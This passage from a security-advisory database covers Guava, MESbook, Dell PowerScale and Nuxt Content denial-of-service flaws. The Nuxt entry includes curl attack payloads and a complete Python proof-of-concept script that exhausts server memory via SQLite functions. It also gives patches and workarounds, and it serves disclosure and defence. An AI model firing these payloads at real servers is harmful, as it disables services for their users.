`ObjectInputStream.readObject()` on data reachable by an attacker, and has Guava on its classpath (true for a large fraction of the JVM ecosystem), can be crashed with a single ~72-byte payload, regardless of what type the application itself expected to deserialize.\n\n## Severity\n\nCVSS 3.1: `AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H` \u2014 identical vector to CVE-2018-10237, the precedent this is a sibling of. Recomputed with the full formula: exploitability = 8.22\u00d70.85\u00d70.44\u00d70.85\u00d70.85 = 2.221; ISS = 1-(1\u00d71\u00d70.44) = 0.56; impact = 6.42\u00d70.56 = 3.595; base = roundup(5.816) = **5.9 (Medium)**.\n\n## Affected\n\n`com.google.guava:guava`, all editions (`-jre`/`-android`) \u2014 confirmed on the current latest release, 33.7.1-jre. `CompactHashMap`/`CompactHashSet`/`CompactLinkedHashMap`/`CompactLinkedHashSet` have had this same `readObject`/`allocArrays` shape for a long time (probably since they were added in Guava 23.6), and similarly for `MapMakerInternalMap` (which was introduced in Guava 4.0); not tested against older individual releases.\n\n## Suggested fix\n\nApply the same defense already used elsewhere in this codebase: either clamp the initial `init()` capacity to a small constant regardless of the declared `elementCount` (as `HashBiMap.readObject()` already does \u2014 `init(16); // resist hostile attempts to allocate gratuitous heap`) and grow incrementally as elements are actually read, or grow the backing arrays incrementally per iteration of the deserialization loop (as the fixed `AtomicDoubleArray.readObject()` does via `ImmutableLongArray.Builder`) instead of eagerly sizing to the full attacker-declared count on first insert.",
  "id": "GHSA-xxph-c9ww-hj94",
  "modified": "2026-10-27T14:27:53Z",
  "published": "2026-10-27T14:27:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/security/advisories/GHSA-xxph-c9ww-hj94"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102554"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/commit/b931fe9d6d5cf00bc55714ad3308d086f71850fe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/google/guava"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/releases/tag/v33.7.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Google Guava: CompactHashMap/CompactHashSet/MapMakerInternalMap deserialization triggers uncontrolled memory allocation"
}

GHSA-XXQJ-X2PV-X5JJ

Vulnerability from github – Published: 2024-07-03 18:48 – Updated: 2024-07-05 18:34
VLAI
Details

Uncontrolled Resource Consumption vulnerability in MESbook 20221021.03 version. An unauthenticated remote attacker can use the "message" parameter to inject a payload with dangerous JavaScript code, causing the application to loop requests on itself, which could lead to resource consumption and disable the application.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-6427"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-03T12:15:03Z",
    "severity": "HIGH"
  },
  "details": "Uncontrolled Resource Consumption vulnerability in MESbook\u00a020221021.03 version. An unauthenticated remote attacker can use the \"message\" parameter to inject a payload with dangerous JavaScript code, causing the application to loop requests on itself, which could lead to resource consumption and disable the application.",
  "id": "GHSA-xxqj-x2pv-x5jj",
  "modified": "2024-07-05T18:34:17Z",
  "published": "2024-07-03T18:48:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6427"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-mesbook"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XXR9-34QV-3673

Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2022-10-25 12:00
VLAI
Details

Dell PowerScale OneFS versions 9.1.0.3 and earlier contain a denial of service vulnerability. SmartConnect had an error condition that may be triggered to loop, using CPU and potentially preventing other SmartConnect DNS responses.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-21565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-834"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-03T00:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Dell PowerScale OneFS versions 9.1.0.3 and earlier contain a denial of service vulnerability. SmartConnect had an error condition that may be triggered to loop, using CPU and potentially preventing other SmartConnect DNS responses.",
  "id": "GHSA-xxr9-34qv-3673",
  "modified": "2022-10-25T12:00:15Z",
  "published": "2022-05-24T19:09:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21565"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/000188148"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XXRH-5HGG-GJ4H

Vulnerability from github – Published: 2026-11-10 15:57 – Updated: 2026-11-10 15:57
VLAI
Summary
Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API
Details

Summary

The POST /__nuxt_content/:collection/query endpoint in @nuxt/content accepts an attacker-controlled sql field from the HTTP request body and executes it against a local SQLite database after passing it through an insufficient validator (assertSafeQuery). The validator only blocks a small set of SQL command keywords and does not reject expensive SQLite built-in functions such as randomblob(), zeroblob(), hex(), or length(). An unauthenticated remote attacker can craft a single request that forces SQLite to allocate hundreds of megabytes of memory and perform CPU-intensive work, causing server-wide denial of service. This endpoint is enabled by default for every collection and requires no authentication.

Details

The vulnerability spans three source files:

Route registration — src/module.ts:207-208

The Nuxt Content module registers a public HTTP POST handler for each configured collection at startup:

// src/module.ts:207-208
addServerHandler({
  route: `/__nuxt_content/${collection.name}/query`,
  handler: resolver.resolve('./runtime/api/query.post'),
})

No authentication middleware is attached; the route is reachable by any client.

Source (attacker input) — src/runtime/api/query.post.ts:7-9

// src/runtime/api/query.post.ts
const { sql } = await readBody(event)          // line 8  — attacker-controlled
assertSafeQuery(sql, collection)               // line 11 — insufficient validation
return loadDatabaseAdapter(conf).all(sql)      // line 18 — raw sql passed to sink

Inadequate sanitizer — src/runtime/internal/security.ts:55-63

if (where) {
  const noString = cleanupQuery(where, { removeString: true })
  if (noString.match(SQL_COMMANDS)) {          // /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
    throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
  }
  // No rejection of function calls (randomblob, zeroblob, hex, length, …)
}

The denylist matches only six DDL/DML keywords. SQLite resource-consumption functions (randomblob, zeroblob, hex, length) are not keywords matched by the regex and therefore pass validation unconditionally.

Sink — src/runtime/internal/database.server.ts:26-28

all: async (sql, params = []) => {
  return db.prepare(sql).all(...params)        // executes the unmodified attacker sql
}

better-sqlite3's prepare().all() is a synchronous call that blocks the Node.js event loop for the entire duration of the SQLite query. A single malicious request therefore stalls all concurrent request handling.

Attack chain summary:

Attacker HTTP POST (sql field)
  → query.post.ts readBody()          [source]
  → assertSafeQuery() — BYPASS        [insufficient validation]
  → loadDatabaseAdapter().all(sql)    [propagation]
  → db.prepare(sql).all()             [sink — synchronous, blocks event loop]

PoC

Environment setup

git clone https://github.com/nuxt/content.git
cd content
git checkout d8fed0c3ddbcad5805772e1ef8da9fbe841e772e
pnpm install
pnpm dev:prepare
cd test/fixtures/basic
pnpm dev --host 127.0.0.1 --port 3000

Step 1 — Establish baseline (safe query)

curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
  -X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
  -H 'content-type: application/json' \
  --data '{"sql":"SELECT * FROM _content_content WHERE (id = '"'"'1'"'"') ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200 time=~0.009s

Step 2 — Attack payload (randomblob variant)

curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
  -X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
  -H 'content-type: application/json' \
  --data '{"sql":"SELECT * FROM _content_content WHERE (length(hex(randomblob(200000000))) > 0) ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200  time=~2.25s  (~598 MB RSS during execution)

The payload passes assertSafeQuery() because the WHERE clause contains no blocked keywords. SQLite then: 1. Allocates 200 MB of random bytes via randomblob(200000000) 2. Hex-encodes the result to a 400 MB ASCII string via hex() 3. Computes the string length via length()

Step 3 — Zeroblob variant (allocation-focused)

--data '{"sql":"SELECT * FROM _content_content WHERE (zeroblob(1000000000) IS NOT NULL) ORDER BY stem ASC LIMIT 1"}'
# 1 GB allocation; may trigger OOM termination

Automated PoC (Docker)

# Build and run the reproduction container
docker build -f vuln-001/Dockerfile -t vuln001:latest \
  reports/github_web_211_nuxt__content
docker run -d -p 3000:3000 --name vuln001-container vuln001:latest

# Run the PoC script (requires Python 3, no third-party packages)
python3 vuln-001/poc.py --host 127.0.0.1 --port 3000

Dynamic reproduction result (phase2):

Metric Value
Baseline response time 0.0088 s
Attack response time 11.82 s
Slowdown ratio 1339×
HTTP status for attack 200 (not rejected)

The Node.js event loop was blocked for the full duration of each attack request, confirmed by zero concurrent request throughput during the attack.

Proposed patch — src/runtime/internal/security.ts

 const SQL_COMMANDS = /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
+const SQL_WHERE_ALLOWED_TOKENS = new Set(['AND', 'OR', 'IN', 'NOT', 'BETWEEN', 'LIKE', 'IS', 'NULL'])

     const noString = cleanupQuery(where, { removeString: true })
     if (noString.match(SQL_COMMANDS)) {
       throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
     }
+    const tokens = noString.match(/[A-Z_]\w*/gi) || []
+    if (tokens.some(token => !SQL_WHERE_ALLOWED_TOKENS.has(token.toUpperCase()))) {
+      throw new Error('Invalid query: WHERE clause contains unsafe SQL expressions')
+    }
   }

Impact

This is an unauthenticated remote denial-of-service vulnerability. Any internet-accessible @nuxt/content application using the default SQLite/D1 adapter (i.e., the vast majority of deployments, since this is the default runtime) exposes the vulnerable endpoint without authentication at POST /__nuxt_content/<collection>/query.

Because better-sqlite3 executes queries synchronously and blocks the Node.js event loop, a single malicious request with a large randomblob() argument prevents the server from processing any other requests for the duration of that query. An attacker sending a continuous stream of such requests can sustain a complete denial of service with minimal bandwidth.

Impact scope: - Confidentiality: None — the attack does not exfiltrate data - Integrity: None — no data modification - Availability: High — complete service disruption for unauthenticated attackers with network access

All users of publicly deployed @nuxt/content v3 applications (SSR or server-side rendered static sites that retain the API route) are affected without any prerequisite authentication or prior knowledge of the application.

Reproduction artifacts

Dockerfile

# VULN-001: Unauthenticated SQLite Function DoS via @nuxt/content Content Query API
# Affects: @nuxt/content v3.15.1 (commit d8fed0c)
#
# Build context must be the parent directory (github_web_211_nuxt__content/):
#   docker build -f vuln-001/Dockerfile -t vuln001:latest .

FROM node:20-alpine

# Install build tools required for better-sqlite3 native compilation
RUN apk add --no-cache python3 make g++

WORKDIR /app

# Copy the vulnerable source files from the repo for audit reference
# These are the exact files that contain the vulnerable code paths
COPY repo/src/runtime/internal/security.ts    /app/reference/security.ts
COPY repo/src/runtime/api/query.post.ts       /app/reference/query.post.ts
COPY repo/src/runtime/internal/database.server.ts /app/reference/database.server.ts

# Copy the minimal reproduction server (JavaScript translation of the above)
COPY vuln-001/server.js /app/server.js

# Install Node.js dependencies
# better-sqlite3: same SQLite library used by @nuxt/content local SQLite adapter
RUN npm init -y && npm install better-sqlite3@12.5.0

EXPOSE 3000

CMD ["node", "server.js"]

poc.py

#!/usr/bin/env python3
"""
PoC: VULN-001 — Unauthenticated SQLite Function DoS via @nuxt/content Content Query API

Vulnerability: The POST /__nuxt_content/:collection/query endpoint reads an
attacker-supplied 'sql' field from the request body, passes it through
assertSafeQuery() in security.ts, then executes it via better-sqlite3.
assertSafeQuery() only rejects certain SQL command keywords
(SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|$) but does NOT block SQLite
built-in functions such as randomblob(), zeroblob(), hex(), or length().

Attack payload: SELECT * FROM _content_content
                WHERE (length(hex(randomblob(100000000))) > 0)
                ORDER BY stem ASC LIMIT 1

This forces SQLite to:
  1. Allocate 100 MB of random bytes via randomblob(100000000)
  2. Hex-encode the result to a 200 MB ASCII string via hex()
  3. Compute the string length via length()

The request blocks the server thread for several seconds per request.
Repeated unauthenticated requests exhaust CPU and memory, causing DoS.

Affected: @nuxt/content v3.15.1 (commit d8fed0c)
Source:   src/runtime/internal/security.ts:55-63
          src/runtime/api/query.post.ts:8,11,18
          src/runtime/internal/database.server.ts:27
CVSS:     7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
"""

import argparse
import json
import sys
import time
import urllib.error
import urllib.request

DEFAULT_HOST = '127.0.0.1'
DEFAULT_PORT = 3000

# Time threshold: attack must be at least this many seconds slower than baseline
ATTACK_MIN_SECONDS = 0.5

# SQL payloads
SAFE_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (id = '1') "
    "ORDER BY stem ASC LIMIT 1"
)

# Malicious payload: passes assertSafeQuery() but forces expensive SQLite computation.
# randomblob(100_000_000) -> 100 MB allocation
# hex(...)               -> 200 MB hex string
# length(...)            -> string length computation
MALICIOUS_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (length(hex(randomblob(100000000))) > 0) "
    "ORDER BY stem ASC LIMIT 1"
)

# Zeroblob variant (allocation-focused, less CPU than hex):
ZEROBLOB_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (zeroblob(500000000) IS NOT NULL) "
    "ORDER BY stem ASC LIMIT 1"
)


def post_query(host, port, sql, timeout=120):
    """Send POST /__nuxt_content/content/query and return (status, elapsed, body)."""
    payload = json.dumps({"sql": sql}).encode("utf-8")
    req = urllib.request.Request(
        f"http://{host}:{port}/__nuxt_content/content/query",
        data=payload,
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    t0 = time.monotonic()
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            elapsed = time.monotonic() - t0
            body = resp.read().decode("utf-8")
            return resp.status, elapsed, body
    except urllib.error.HTTPError as e:
        elapsed = time.monotonic() - t0
        body = e.read().decode("utf-8")
        return e.code, elapsed, body
    except Exception as e:
        elapsed = time.monotonic() - t0
        return None, elapsed, str(e)


def wait_for_server(host, port, retries=30, delay=1.0):
    """Poll until the server responds or timeout."""
    print(f"[*] Waiting for server at {host}:{port} ...")
    for attempt in range(1, retries + 1):
        try:
            urllib.request.urlopen(
                f"http://{host}:{port}/", timeout=2
            )
        except urllib.error.HTTPError:
            # Any HTTP response (including 404) means the server is up
            print(f"[+] Server is ready (attempt {attempt})")
            return True
        except Exception:
            pass
        time.sleep(delay)
    print(f"[!] Server did not become ready after {retries} attempts")
    return False


def main():
    parser = argparse.ArgumentParser(
        description="VULN-001 PoC: SQLite Function DoS via @nuxt/content query API"
    )
    parser.add_argument("--host", default=DEFAULT_HOST, help="Target host (default: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Target port (default: 3000)")
    parser.add_argument(
        "--no-wait",
        action="store_true",
        help="Skip server readiness check (useful when server is already running)",
    )
    args = parser.parse_args()

    host, port = args.host, args.port

    print("=" * 70)
    print("VULN-001: Unauthenticated SQLite Function DoS")
    print("Target: @nuxt/content v3.15.1 — POST /__nuxt_content/:collection/query")
    print("=" * 70)

    if not args.no_wait:
        if not wait_for_server(host, port):
            sys.exit(2)

    # ------------------------------------------------------------------
    # Step 1: Safe baseline query — validates endpoint is reachable
    # ------------------------------------------------------------------
    print()
    print("[STEP 1] Baseline safe query")
    print(f"  SQL: {SAFE_SQL}")
    status1, t1, body1 = post_query(host, port, SAFE_SQL)
    print(f"  Status: {status1}   Time: {t1:.4f}s")
    if status1 == 200:
        rows1 = json.loads(body1)
        print(f"  Rows returned: {len(rows1)}")
    else:
        print(f"  Response: {body1[:200]}")

    # ------------------------------------------------------------------
    # Step 2: Malicious payload — SQLite function DoS
    # ------------------------------------------------------------------
    print()
    print("[STEP 2] Malicious SQLite function payload")
    print(f"  SQL: {MALICIOUS_SQL}")
    print("  Explanation:")
    print("    randomblob(100000000) -> allocates 100 MB of random bytes")
    print("    hex(...)              -> encodes to 200 MB ASCII string")
    print("    length(...)           -> forces full evaluation before comparison")
    print("    assertSafeQuery() passes: no SQL_COMMANDS keyword found in WHERE")
    print("    Sink: better-sqlite3 db.prepare(sql).all() executes unconditionally")
    print()
    print("  Sending request ...")
    status2, t2, body2 = post_query(host, port, MALICIOUS_SQL)
    print(f"  Status: {status2}   Time: {t2:.4f}s")
    if status2 == 200:
        rows2 = json.loads(body2)
        print(f"  Rows returned: {len(rows2)}  (assertSafeQuery() did NOT reject this query)")
    else:
        print(f"  Response: {body2[:200]}")

    # ------------------------------------------------------------------
    # Step 3: Report
    # ------------------------------------------------------------------
    print()
    print("[RESULT]")
    print(f"  Baseline time  : {t1:.4f}s")
    print(f"  Attack time    : {t2:.4f}s")
    ratio = (t2 / t1) if t1 > 0 else float("inf")
    print(f"  Slowdown ratio : {ratio:.1f}x")
    print()

    accepted = status2 == 200
    slow_enough = t2 >= ATTACK_MIN_SECONDS

    if accepted and slow_enough:
        print("[PASS] VULNERABILITY CONFIRMED")
        print(f"  1. assertSafeQuery() ACCEPTED the malicious payload (no 400 error)")
        print(f"  2. SQLite executed randomblob(100000000); observed {t2:.4f}s execution time")
        print(f"  3. Time delta confirms resource exhaustion: {t2:.4f}s vs baseline {t1:.4f}s")
        print(f"  4. Unauthenticated attacker can chain requests to exhaust server CPU/memory")
        sys.exit(0)
    elif accepted and not slow_enough:
        print("[WARN] Payload was ACCEPTED but execution was faster than threshold")
        print(f"  accepted={accepted}, time={t2:.4f}s, threshold={ATTACK_MIN_SECONDS}s")
        print("  Try increasing the blob size in MALICIOUS_SQL (e.g. 200000000)")
        sys.exit(1)
    else:
        print(f"[FAIL] Unexpected result: accepted={accepted}, time={t2:.4f}s")
        print(f"  Response body: {body2[:300]}")
        sys.exit(1)


if __name__ == "__main__":
    main()

Affected versions

All @nuxt/content v3 releases before 3.15.2 are affected (>= 3.0.0, < 3.15.2). The report was reproduced against 3.15.1, but the same WHERE clause validation gap exists in every earlier v3 release; 3.0.0 performed no query validation at all.

Fully static (prerendered, no server) deployments are not affected.

Patches

Fixed in 3.15.2 (#3819): function calls are rejected in query WHERE clauses. Subsequent releases harden validation further — 3.16.1 removes a ReDoS in assertSafeQuery (#3851) and 3.16.2 only accepts WHERE clauses matching the exact output of the query builder (#3862, #3877). Upgrading to the latest version (>= 3.16.2) is recommended.

Workarounds

If you cannot upgrade, block or restrict access to POST /__nuxt_content/*/query at the proxy/WAF level, or prerender the site so the endpoint is not deployed.

Credits

Also independently reported by @Pig-Tail (GHSA-c739-vwm9-rgx3) and @maru1009 (as part of GHSA-wjh8-qcrm-wf29).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nuxt/content"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.15.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-10T15:57:12Z",
    "nvd_published_at": "2026-11-06T18:17:37Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `POST /__nuxt_content/:collection/query` endpoint in `@nuxt/content` accepts an attacker-controlled `sql` field from the HTTP request body and executes it against a local SQLite database after passing it through an insufficient validator (`assertSafeQuery`). The validator only blocks a small set of SQL command keywords and does not reject expensive SQLite built-in functions such as `randomblob()`, `zeroblob()`, `hex()`, or `length()`. An unauthenticated remote attacker can craft a single request that forces SQLite to allocate hundreds of megabytes of memory and perform CPU-intensive work, causing server-wide denial of service. This endpoint is enabled by default for every collection and requires no authentication.\n\n### Details\n\nThe vulnerability spans three source files:\n\n**Route registration \u2014 `src/module.ts:207-208`**\n\nThe Nuxt Content module registers a public HTTP POST handler for each configured collection at startup:\n\n```ts\n// src/module.ts:207-208\naddServerHandler({\n  route: `/__nuxt_content/${collection.name}/query`,\n  handler: resolver.resolve(\u0027./runtime/api/query.post\u0027),\n})\n```\n\nNo authentication middleware is attached; the route is reachable by any client.\n\n**Source (attacker input) \u2014 `src/runtime/api/query.post.ts:7-9`**\n\n```ts\n// src/runtime/api/query.post.ts\nconst { sql } = await readBody(event)          // line 8  \u2014 attacker-controlled\nassertSafeQuery(sql, collection)               // line 11 \u2014 insufficient validation\nreturn loadDatabaseAdapter(conf).all(sql)      // line 18 \u2014 raw sql passed to sink\n```\n\n**Inadequate sanitizer \u2014 `src/runtime/internal/security.ts:55-63`**\n\n```ts\nif (where) {\n  const noString = cleanupQuery(where, { removeString: true })\n  if (noString.match(SQL_COMMANDS)) {          // /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\\$/i\n    throw new Error(\u0027Invalid query: WHERE clause contains unsafe SQL commands\u0027)\n  }\n  // No rejection of function calls (randomblob, zeroblob, hex, length, \u2026)\n}\n```\n\nThe denylist matches only six DDL/DML keywords. SQLite resource-consumption functions (`randomblob`, `zeroblob`, `hex`, `length`) are not keywords matched by the regex and therefore pass validation unconditionally.\n\n**Sink \u2014 `src/runtime/internal/database.server.ts:26-28`**\n\n```ts\nall: async (sql, params = []) =\u003e {\n  return db.prepare(sql).all(...params)        // executes the unmodified attacker sql\n}\n```\n\n`better-sqlite3`\u0027s `prepare().all()` is a synchronous call that blocks the Node.js event loop for the entire duration of the SQLite query. A single malicious request therefore stalls all concurrent request handling.\n\n**Attack chain summary:**\n\n```\nAttacker HTTP POST (sql field)\n  \u2192 query.post.ts readBody()          [source]\n  \u2192 assertSafeQuery() \u2014 BYPASS        [insufficient validation]\n  \u2192 loadDatabaseAdapter().all(sql)    [propagation]\n  \u2192 db.prepare(sql).all()             [sink \u2014 synchronous, blocks event loop]\n```\n\n### PoC\n\n**Environment setup**\n\n```bash\ngit clone https://github.com/nuxt/content.git\ncd content\ngit checkout d8fed0c3ddbcad5805772e1ef8da9fbe841e772e\npnpm install\npnpm dev:prepare\ncd test/fixtures/basic\npnpm dev --host 127.0.0.1 --port 3000\n```\n\n**Step 1 \u2014 Establish baseline (safe query)**\n\n```bash\ncurl -sS -o /dev/null -w \u0027status=%{http_code} time=%{time_total}\\n\u0027 \\\n  -X POST \u0027http://127.0.0.1:3000/__nuxt_content/content/query\u0027 \\\n  -H \u0027content-type: application/json\u0027 \\\n  --data \u0027{\"sql\":\"SELECT * FROM _content_content WHERE (id = \u0027\"\u0027\"\u00271\u0027\"\u0027\"\u0027) ORDER BY stem ASC LIMIT 1\"}\u0027\n# Expected: status=200 time=~0.009s\n```\n\n**Step 2 \u2014 Attack payload (randomblob variant)**\n\n```bash\ncurl -sS -o /dev/null -w \u0027status=%{http_code} time=%{time_total}\\n\u0027 \\\n  -X POST \u0027http://127.0.0.1:3000/__nuxt_content/content/query\u0027 \\\n  -H \u0027content-type: application/json\u0027 \\\n  --data \u0027{\"sql\":\"SELECT * FROM _content_content WHERE (length(hex(randomblob(200000000))) \u003e 0) ORDER BY stem ASC LIMIT 1\"}\u0027\n# Expected: status=200  time=~2.25s  (~598 MB RSS during execution)\n```\n\nThe payload passes `assertSafeQuery()` because the WHERE clause contains no blocked keywords. SQLite then:\n1. Allocates 200 MB of random bytes via `randomblob(200000000)`\n2. Hex-encodes the result to a 400 MB ASCII string via `hex()`\n3. Computes the string length via `length()`\n\n**Step 3 \u2014 Zeroblob variant (allocation-focused)**\n\n```bash\n--data \u0027{\"sql\":\"SELECT * FROM _content_content WHERE (zeroblob(1000000000) IS NOT NULL) ORDER BY stem ASC LIMIT 1\"}\u0027\n# 1 GB allocation; may trigger OOM termination\n```\n\n**Automated PoC (Docker)**\n\n```bash\n# Build and run the reproduction container\ndocker build -f vuln-001/Dockerfile -t vuln001:latest \\\n  reports/github_web_211_nuxt__content\ndocker run -d -p 3000:3000 --name vuln001-container vuln001:latest\n\n# Run the PoC script (requires Python 3, no third-party packages)\npython3 vuln-001/poc.py --host 127.0.0.1 --port 3000\n```\n\n**Dynamic reproduction result (phase2):**\n\n| Metric | Value |\n|---|---|\n| Baseline response time | 0.0088 s |\n| Attack response time | 11.82 s |\n| Slowdown ratio | **1339\u00d7** |\n| HTTP status for attack | 200 (not rejected) |\n\nThe Node.js event loop was blocked for the full duration of each attack request, confirmed by zero concurrent request throughput during the attack.\n\n**Proposed patch \u2014 `src/runtime/internal/security.ts`**\n\n```diff\n const SQL_COMMANDS = /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\\$/i\n+const SQL_WHERE_ALLOWED_TOKENS = new Set([\u0027AND\u0027, \u0027OR\u0027, \u0027IN\u0027, \u0027NOT\u0027, \u0027BETWEEN\u0027, \u0027LIKE\u0027, \u0027IS\u0027, \u0027NULL\u0027])\n \n     const noString = cleanupQuery(where, { removeString: true })\n     if (noString.match(SQL_COMMANDS)) {\n       throw new Error(\u0027Invalid query: WHERE clause contains unsafe SQL commands\u0027)\n     }\n+    const tokens = noString.match(/[A-Z_]\\w*/gi) || []\n+    if (tokens.some(token =\u003e !SQL_WHERE_ALLOWED_TOKENS.has(token.toUpperCase()))) {\n+      throw new Error(\u0027Invalid query: WHERE clause contains unsafe SQL expressions\u0027)\n+    }\n   }\n```\n\n### Impact\n\nThis is an unauthenticated remote denial-of-service vulnerability. Any internet-accessible `@nuxt/content` application using the default SQLite/D1 adapter (i.e., the vast majority of deployments, since this is the default runtime) exposes the vulnerable endpoint without authentication at `POST /__nuxt_content/\u003ccollection\u003e/query`.\n\nBecause `better-sqlite3` executes queries synchronously and blocks the Node.js event loop, a single malicious request with a large `randomblob()` argument prevents the server from processing any other requests for the duration of that query. An attacker sending a continuous stream of such requests can sustain a complete denial of service with minimal bandwidth.\n\nImpact scope:\n- **Confidentiality:** None \u2014 the attack does not exfiltrate data\n- **Integrity:** None \u2014 no data modification\n- **Availability:** High \u2014 complete service disruption for unauthenticated attackers with network access\n\nAll users of publicly deployed `@nuxt/content` v3 applications (SSR or server-side rendered static sites that retain the API route) are affected without any prerequisite authentication or prior knowledge of the application.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Unauthenticated SQLite Function DoS via @nuxt/content Content Query API\n# Affects: @nuxt/content v3.15.1 (commit d8fed0c)\n#\n# Build context must be the parent directory (github_web_211_nuxt__content/):\n#   docker build -f vuln-001/Dockerfile -t vuln001:latest .\n\nFROM node:20-alpine\n\n# Install build tools required for better-sqlite3 native compilation\nRUN apk add --no-cache python3 make g++\n\nWORKDIR /app\n\n# Copy the vulnerable source files from the repo for audit reference\n# These are the exact files that contain the vulnerable code paths\nCOPY repo/src/runtime/internal/security.ts    /app/reference/security.ts\nCOPY repo/src/runtime/api/query.post.ts       /app/reference/query.post.ts\nCOPY repo/src/runtime/internal/database.server.ts /app/reference/database.server.ts\n\n# Copy the minimal reproduction server (JavaScript translation of the above)\nCOPY vuln-001/server.js /app/server.js\n\n# Install Node.js dependencies\n# better-sqlite3: same SQLite library used by @nuxt/content local SQLite adapter\nRUN npm init -y \u0026\u0026 npm install better-sqlite3@12.5.0\n\nEXPOSE 3000\n\nCMD [\"node\", \"server.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: VULN-001 \u2014 Unauthenticated SQLite Function DoS via @nuxt/content Content Query API\n\nVulnerability: The POST /__nuxt_content/:collection/query endpoint reads an\nattacker-supplied \u0027sql\u0027 field from the request body, passes it through\nassertSafeQuery() in security.ts, then executes it via better-sqlite3.\nassertSafeQuery() only rejects certain SQL command keywords\n(SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|$) but does NOT block SQLite\nbuilt-in functions such as randomblob(), zeroblob(), hex(), or length().\n\nAttack payload: SELECT * FROM _content_content\n                WHERE (length(hex(randomblob(100000000))) \u003e 0)\n                ORDER BY stem ASC LIMIT 1\n\nThis forces SQLite to:\n  1. Allocate 100 MB of random bytes via randomblob(100000000)\n  2. Hex-encode the result to a 200 MB ASCII string via hex()\n  3. Compute the string length via length()\n\nThe request blocks the server thread for several seconds per request.\nRepeated unauthenticated requests exhaust CPU and memory, causing DoS.\n\nAffected: @nuxt/content v3.15.1 (commit d8fed0c)\nSource:   src/runtime/internal/security.ts:55-63\n          src/runtime/api/query.post.ts:8,11,18\n          src/runtime/internal/database.server.ts:27\nCVSS:     7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\nDEFAULT_HOST = \u0027127.0.0.1\u0027\nDEFAULT_PORT = 3000\n\n# Time threshold: attack must be at least this many seconds slower than baseline\nATTACK_MIN_SECONDS = 0.5\n\n# SQL payloads\nSAFE_SQL = (\n    \"SELECT * FROM _content_content \"\n    \"WHERE (id = \u00271\u0027) \"\n    \"ORDER BY stem ASC LIMIT 1\"\n)\n\n# Malicious payload: passes assertSafeQuery() but forces expensive SQLite computation.\n# randomblob(100_000_000) -\u003e 100 MB allocation\n# hex(...)               